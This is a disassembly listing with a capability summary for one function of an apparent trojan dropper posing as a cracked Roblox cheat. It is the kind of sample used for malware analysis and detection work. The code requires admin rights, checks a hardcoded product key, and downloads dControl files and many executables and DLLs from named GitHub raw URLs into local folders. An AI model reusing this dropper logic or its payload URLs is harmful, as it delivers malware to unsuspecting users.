Function at 0x401520
Capabilities:
Check if file exists
Create directory
Create process on windows
Download url
Execute command
Get common file path
Get file attributes
Get token membership
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40616c
mov eax, dword fs:[0]
push eax
sub esp, 0x704
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
mov dword [ebp - 0x544], 0
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x710], edi
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x564]
mov dword [ebp - 0x6a0], 0
push eax
mov dword [ebp - 0x564], 0
mov word [ebp - 0x560], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x4015b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4015e4
lea eax, [ebp - 0x544]
push eax
push dword [ebp - 0x6a0]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4015d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x6a0]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x544], 0
jne 0x40165f
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____Error:_There_was_an_issue_connecting_to_the_server__run_as_administrator_and_try_again_later._n
call fcn.00403e20
mov esi, 5
mov dword [ebp - 0x544], 1
nop word [eax + eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov edx, 0x4073b4
mov ecx, eax
call fcn.00403e20
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x564]
call fcn.00404040
mov ecx, eax
call fcn.00404060
dec esi
test esi, esi
jg 0x401620
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
xorps xmm0, xmm0
mov dword [ebp - 0x5b4], 0
movups xmmword [ebp - 0x5c4], xmm0
mov dword [ebp - 0x5b0], 0xf
mov byte [ebp - 0x5c4], 0
push 0xf
mov dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push edi
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Product:
call fcn.00403e20
push 4
push edi
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Electron_Cracked_ROBLOX_n
call fcn.00403e20
push 0xf
push edi
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Status:
call fcn.00403e20
push 0xa
push edi
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Undetected_n_n
call fcn.00403e20
push 0xf
push edi
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Enter_Product_Key:
call fcn.00403e20
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x5c4]
call fcn.004041c0
xorps xmm0, xmm0
mov dword [ebp - 0x54c], 0
xor eax, eax
mov dword [ebp - 0x548], 7
movups xmmword [ebp - 0x55c], xmm0
mov word [ebp - 0x55c], ax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c4]
cmp dword [ebp - 0x5b0], 0x10
mov esi, dword [ebp - 0x5b4]
cmovae ecx, dword [ebp - 0x5c4]
cmp esi, 6
jne 0x403591
mov edx, str.RN2023
sub esi, 4
jb 0x401774
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x401779
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401763
cmp esi, 0xfffffffc
je 0x4017ad
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4017a6
cmp esi, 0xfffffffd
je 0x4017ad
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4017a6
cmp esi, 0xfffffffe
je 0x4017ad
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4017a6
cmp esi, 0xffffffff
je 0x4017ad
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4017ad
sbb eax, eax
or eax, 1
jmp 0x4017af
xor eax, eax
test eax, eax
jne 0x403591
push 0xa
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____Successfully_loaded__n
call fcn.00403e20
mov esi, 5
mov dword [ebp - 0x564], 1
mov dword [ebp - 0x560], 0
nop dword [eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov edx, 0x4073b4
mov ecx, eax
call fcn.00403e20
lea ecx, [ebp - 0x564]
call fcn.00404060
dec esi
test esi, esi
jg 0x4017f0
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
mov dword [ebp - 0x62c], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x628], 0
movups xmmword [ebp - 0x63c], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401854
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x63c]
call fcn.00404510
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x63c]
cmp dword [ebp - 0x628], 8
mov esi, dword [ebp - 0x62c]
mov edx, esi
cmovae ecx, dword [ebp - 0x63c]
push 1
push 0x40745c
push ecx
call fcn.004043c0
mov ecx, eax
mov dword [ebp - 0x56c], 0
add esp, 0xc
mov dword [ebp - 0x568], 0
cmp esi, ecx
lea eax, [ebp - 0x63c]
xorps xmm0, xmm0
cmovb ecx, esi
cmp dword [ebp - 0x628], 8
push ecx
cmovae eax, dword [ebp - 0x63c]
lea ecx, [ebp - 0x57c]
push eax
movups xmmword [ebp - 0x57c], xmm0
call fcn.00404510
push str.DriverFolder
lea edx, [ebp - 0x57c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70c]
call fcn.00403b20
mov esi, eax
add esp, 4
lea eax, [ebp - 0x55c]
cmp eax, esi
je 0x40199a
mov ecx, dword [ebp - 0x548]
cmp ecx, 8
jb 0x401959
mov edx, dword [ebp - 0x55c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40194f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
mov dword [ebp - 0x54c], 0
xor eax, eax
mov dword [ebp - 0x548], 7
mov word [ebp - 0x55c], ax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x55c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x54c], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x4019d6
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4019cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x568]
mov dword [ebp - 0x6fc], 0
mov dword [ebp - 0x6f8], 7
mov word [ebp - 0x70c], ax
cmp ecx, 8
jb 0x401a39
mov edx, dword [ebp - 0x57c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401a2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a2f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
cmp dword [ebp - 0x548], 8
lea eax, [ebp - 0x55c]
push 0
cmovae eax, dword [ebp - 0x55c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401adf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401adf
push 0xc
push dword [ebp - 0x710]
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov edx, 0x407460
call fcn.00403bf0
mov esi, 5
mov dword [ebp - 0x710], 1
nop dword [eax + eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
mov edx, 0x4074b8
mov ecx, eax
call fcn.00403bf0
lea eax, [ebp - 0x710]
push eax
lea ecx, [ebp - 0x564]
call fcn.00404040
mov ecx, eax
call fcn.00404060
dec esi
test esi, esi
jg 0x401aa0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x3a
xorps xmm0, xmm0
mov dword [ebp - 0x614], 0
push str.https:__github.com_lunawaree_myfiles_raw_main_dControl.exe
lea ecx, [ebp - 0x624]
mov dword [ebp - 0x610], 0
movups xmmword [ebp - 0x624], xmm0
call fcn.00404510
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x60c]
push 0x3a
xorps xmm0, xmm0
mov dword [ebp - 0x5fc], 0
push str.https:__github.com_lunawaree_myfiles_raw_main_dControl.ini
movups xmmword [ebp - 0x60c], xmm0
mov dword [ebp - 0x5f8], 0
call fcn.00404510
push str.dControl.exe
lea edx, [ebp - 0x55c]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x69c]
call fcn.004039d0
push str.dControl.ini
lea edx, [ebp - 0x55c]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x684]
call fcn.004039d0
add esp, 8
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x69c]
cmp dword [ebp - 0x688], 8
lea eax, [ebp - 0x624]
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmovae ecx, dword [ebp - 0x69c]
cmp dword [ebp - 0x610], 8
push 0
cmovae eax, dword [ebp - 0x624]
push 0
push ecx
push eax
push 0
call esi
cmp dword [ebp - 0x670], 8
lea ecx, [ebp - 0x684]
push 0
cmovae ecx, dword [ebp - 0x684]
lea eax, [ebp - 0x60c]
cmp dword [ebp - 0x5f8], 8
push 0
cmovae eax, dword [ebp - 0x60c]
push ecx
push eax
push 0
call esi
push 0xa
push dword [ebp - 0x710]
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____Files_downloaded_to:
call fcn.00403bf0
cmp dword [ebp - 0x548], 8
lea edx, [ebp - 0x55c]
push dword [ebp - 0x54c]
cmovae edx, dword [ebp - 0x55c]
mov ecx, eax
call fcn.00404c90
add esp, 4
mov edx, 0x4074b8
mov ecx, eax
call fcn.00403bf0
xorps xmm0, xmm0
mov dword [ebp - 0x5cc], 0
xor eax, eax
mov dword [ebp - 0x5c8], 7
movups xmmword [ebp - 0x5dc], xmm0
mov word [ebp - 0x5dc], ax
lea eax, [ebp - 0x544]
mov byte [ebp - 4], 8
push eax
push 0
push 0
push 0x407210
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x401cf1
mov edx, dword [ebp - 0x544]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401c86
mov eax, dword [ebp - 0x5c8]
sub ecx, esi
sar ecx, 1
cmp ecx, eax
ja 0x401ccb
lea esi, [ecx + ecx]
mov dword [ebp - 0x5cc], ecx
cmp eax, 8
lea edi, [ebp - 0x5dc]
push esi
cmovae edi, dword [ebp - 0x5dc]
push edx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [esi + edi], ax
jmp 0x401ce5
push edx
mov byte [ebp - 0x6a0], 0
push dword [ebp - 0x6a0]
push ecx
lea ecx, [ebp - 0x5dc]
call fcn.00404750
push dword [ebp - 0x544]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0x3e
xorps xmm0, xmm0
mov dword [ebp - 0x530], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_bin_file1.exe
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x52c], 0
movups xmmword [ebp - 0x540], xmm0
call fcn.00404510
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x528]
push 0x43
xorps xmm0, xmm0
mov dword [ebp - 0x518], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_runtimes_file2.dll
movups xmmword [ebp - 0x528], xmm0
mov dword [ebp - 0x514], 0
call fcn.00404510
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x510]
push 0x42
xorps xmm0, xmm0
mov dword [ebp - 0x500], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_Accord.dll.config
movups xmmword [ebp - 0x510], xmm0
mov dword [ebp - 0x4fc], 0
call fcn.00404510
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x4f8]
push 0x43
xorps xmm0, xmm0
mov dword [ebp - 0x4e8], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_DirectML.Debug.dll
movups xmmword [ebp - 0x4f8], xmm0
mov dword [ebp - 0x4e4], 0
call fcn.00404510
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x4e0]
push 0x43
xorps xmm0, xmm0
mov dword [ebp - 0x4d0], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_DirectML.Debug.pdb
movups xmmword [ebp - 0x4e0], xmm0
mov dword [ebp - 0x4cc], 0
call fcn.00404510
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x4c8]
push 0x3d
xorps xmm0, xmm0
mov dword [ebp - 0x4b8], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_DirectML.dll
movups xmmword [ebp - 0x4c8], xmm0
mov dword [ebp - 0x4b4], 0
call fcn.00404510
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x4b0]
push 0x3d
xorps xmm0, xmm0
mov dword [ebp - 0x4a0], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_DirectML.pdb
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x49c], 0
call fcn.00404510
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x498]
push 0x49
xorps xmm0, xmm0
mov dword [ebp - 0x488], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_LunarCilentWPF.deps.json
movups xmmword [ebp - 0x498], xmm0
mov dword [ebp - 0x484], 0
call fcn.00404510
mov byte [ebp - 4], 0x10
xorps xmm0, xmm0
push 0x43
push str.https:__github.com_ScriptingDecorder_xd_raw_main_LunarCilentWPF.dll
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x470], 0
movups xmmword [ebp - 0x480], xmm0
mov dword [ebp - 0x46c], 0
call fcn.00404510
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x468]
push 0x43
xorps xmm0, xmm0
mov dword [ebp - 0x458], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_LunarCilentWPF.exe
movups xmmword [ebp - 0x468], xmm0
mov dword [ebp - 0x454], 0
call fcn.00404510
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x450]
push 0x52
xorps xmm0, xmm0
mov dword [ebp - 0x440], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_LunarCilentWPF.runtimeconfig.json
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x43c], 0
call fcn.00404510
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x438]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0x428], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_onnxruntime.dll
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x424], 0
call fcn.00404510
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x5c4]
cmp dword [ebp - 0x5b0], 0x10
mov esi, dword [ebp - 0x5b4]
cmovae edx, dword [ebp - 0x5c4]
cmp esi, 8
jne 0x402034
mov ecx, str.password
sub esi, 4
jb 0x401fa1
nop
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x401fa6
add edx, 4
add ecx, 4
sub esi, 4
jae 0x401f90
cmp esi, 0xfffffffc
je 0x401fda
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x401fd3
cmp esi, 0xfffffffd
je 0x401fda
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x401fd3
cmp esi, 0xfffffffe
je 0x401fda
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x401fd3
cmp esi, 0xffffffff
je 0x401fda
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x401fda
sbb eax, eax
or eax, 1
jmp 0x401fdc
xor eax, eax
test eax, eax
jne 0x402034
mov ecx, dword [ebp - 0x548]
cmp ecx, 1
jb 0x402010
cmp ecx, 8
mov dword [ebp - 0x54c], 1
lea eax, [ebp - 0x55c]
cmovae eax, dword [ebp - 0x55c]
mov dword [eax], 0x2e
jmp 0x40229b
push 0x407ca0
mov byte [ebp - 0x6a0], 0
lea ecx, [ebp - 0x55c]
push dword [ebp - 0x6a0]
push 1
call fcn.00404750
jmp 0x40229b
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
mov dword [ebp - 0x56c], 0
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x568], 0
movups xmmword [ebp - 0x57c], xmm0
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402070
sub ecx, edx
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x57c]
call fcn.00404510
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x57c]
cmp dword [ebp - 0x568], 8
mov esi, dword [ebp - 0x56c]
mov edx, esi
cmovae ecx, dword [ebp - 0x57c]
push 1
push 0x40745c
push ecx
call fcn.004043c0
mov ecx, eax
mov dword [ebp - 0x6fc], 0
add esp, 0xc
mov dword [ebp - 0x6f8], 0
cmp esi, ecx
lea eax, [ebp - 0x57c]
xorps xmm0, xmm0
cmovb ecx, esi
cmp dword [ebp - 0x568], 8
push ecx
cmovae eax, dword [ebp - 0x57c]
lea ecx, [ebp - 0x70c]
push eax
movups xmmword [ebp - 0x70c], xmm0
call fcn.00404510
push 0x407ca4
lea edx, [ebp - 0x70c]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x6f4]
call fcn.00403b20
mov esi, eax
add esp, 4
lea eax, [ebp - 0x55c]
cmp eax, esi
je 0x4021b6
mov ecx, dword [ebp - 0x548]
cmp ecx, 8
jb 0x402175
mov edx, dword [ebp - 0x55c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40216b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402245
push ecx
push edx
call fcn.00405056
add esp, 8
mov dword [ebp - 0x54c], 0
xor eax, eax
mov dword [ebp - 0x548], 7
mov word [ebp - 0x55c], ax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x55c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x54c], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x4021f2
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4021e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402245
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x6f8]
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
cmp ecx, 8
jb 0x402255
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40224b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40224b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x568]
cmp ecx, 8
jb 0x40229b
mov edx, dword [ebp - 0x57c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402291
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402291
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
cmp dword [ebp - 0x548], 8
lea eax, [ebp - 0x55c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmovae eax, dword [ebp - 0x55c]
push 0
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4022c6
call esi
push str._bin
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4022e7
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x4022f2
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402334
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40232a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40232a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimes
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402355
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402360
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x4023a2
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402398
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402398
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
lea esi, [ebp - 0x540]
nop dword [eax + eax]
xorps xmm0, xmm0
mov dword [ebp - 0x59c], 0
xor eax, eax
mov dword [ebp - 0x598], 7
movups xmmword [ebp - 0x5ac], xmm0
mov word [ebp - 0x5ac], ax
push ecx
push 0x407ce0
mov ecx, esi
mov byte [ebp - 4], 0x17
call fcn.00403610
cmp eax, 0xffffffff
je 0x4024f7
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x4023fb
mov ecx, dword [esi]
mov edi, dword [esi + 0x10]
mov edx, edi
push 1
push 0x407ce8
push ecx
call fcn.004043c0
add esp, 0xc
mov dword [ebp - 0x6fc], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6f8], 0
movups xmmword [ebp - 0x70c], xmm0
lea ecx, [eax + 1]
cmp edi, ecx
jb 0x4035ff
sub edi, ecx
or eax, 0xffffffff
cmp edi, 0xffffffff
mov edx, esi
cmovb eax, edi
cmp dword [esi + 0x14], 8
jb 0x40244e
mov edx, dword [esi]
push eax
lea eax, [edx + ecx*2]
push eax
lea ecx, [ebp - 0x70c]
call fcn.00404510
push 0x407cec
lea edx, [ebp - 0x55c]
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0x19
push ecx
push eax
push dword [ebp - 0x544]
lea ecx, [ebp - 0x57c]
call fcn.00404a80
mov ecx, dword [ebp - 0x598]
cmp ecx, 8
jb 0x4024d8
mov edx, dword [ebp - 0x5ac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4024ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
movups xmm0, xmmword [ebp - 0x57c]
movups xmmword [ebp - 0x5ac], xmm0
movq xmm0, qword [ebp - 0x56c]
mov byte [ebp - 4], 0x18
jmp 0x402713
mov edi, dword [esi + 0x14]
push ecx
push str.runtimes
mov ecx, esi
call fcn.00403610
mov ecx, esi
cmp eax, 0xffffffff
je 0x402615
cmp edi, 8
jb 0x402519
mov ecx, dword [esi]
mov edi, dword [esi + 0x10]
mov edx, edi
push 1
push 0x407ce8
push ecx
call fcn.004043c0
add esp, 0xc
mov dword [ebp - 0x6fc], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6f8], 0
movups xmmword [ebp - 0x70c], xmm0
lea edx, [eax + 1]
cmp edi, edx
jb 0x4035ff
sub edi, edx
or ecx, 0xffffffff
cmp edi, 0xffffffff
cmovb ecx, edi
cmp dword [esi + 0x14], 8
mov edi, esi
jb 0x40256c
mov edi, dword [esi]
push ecx
lea eax, [edi + edx*2]
push eax
lea ecx, [ebp - 0x70c]
call fcn.00404510
push str._runtimes_
lea edx, [ebp - 0x55c]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0x1b
push ecx
push eax
push dword [ebp - 0x544]
lea ecx, [ebp - 0x57c]
call fcn.00404a80
mov ecx, dword [ebp - 0x598]
cmp ecx, 8
jb 0x4025f6
mov edx, dword [ebp - 0x5ac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4025ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
movups xmm0, xmmword [ebp - 0x57c]
movups xmmword [ebp - 0x5ac], xmm0
movq xmm0, qword [ebp - 0x56c]
mov byte [ebp - 4], 0x1a
jmp 0x402713
cmp edi, 8
jb 0x40261c
mov ecx, dword [esi]
mov edi, dword [esi + 0x10]
mov edx, edi
push 1
push 0x407ce8
push ecx
call fcn.004043c0
add esp, 0xc
mov dword [ebp - 0x6fc], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6f8], 0
movups xmmword [ebp - 0x70c], xmm0
lea edx, [eax + 1]
cmp edi, edx
jb 0x4035ff
sub edi, edx
or ecx, 0xffffffff
cmp edi, 0xffffffff
cmovb ecx, edi
cmp dword [esi + 0x14], 8
mov edi, esi
jb 0x40266f
mov edi, dword [esi]
push ecx
lea eax, [edi + edx*2]
push eax
lea ecx, [ebp - 0x70c]
call fcn.00404510
push 0x40745c
lea edx, [ebp - 0x55c]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0x1d
push ecx
push eax
push dword [ebp - 0x544]
lea ecx, [ebp - 0x57c]
call fcn.00404a80
mov ecx, dword [ebp - 0x598]
cmp ecx, 8
jb 0x4026f9
mov edx, dword [ebp - 0x5ac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4026ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
movups xmm0, xmmword [ebp - 0x57c]
movups xmmword [ebp - 0x5ac], xmm0
movq xmm0, qword [ebp - 0x56c]
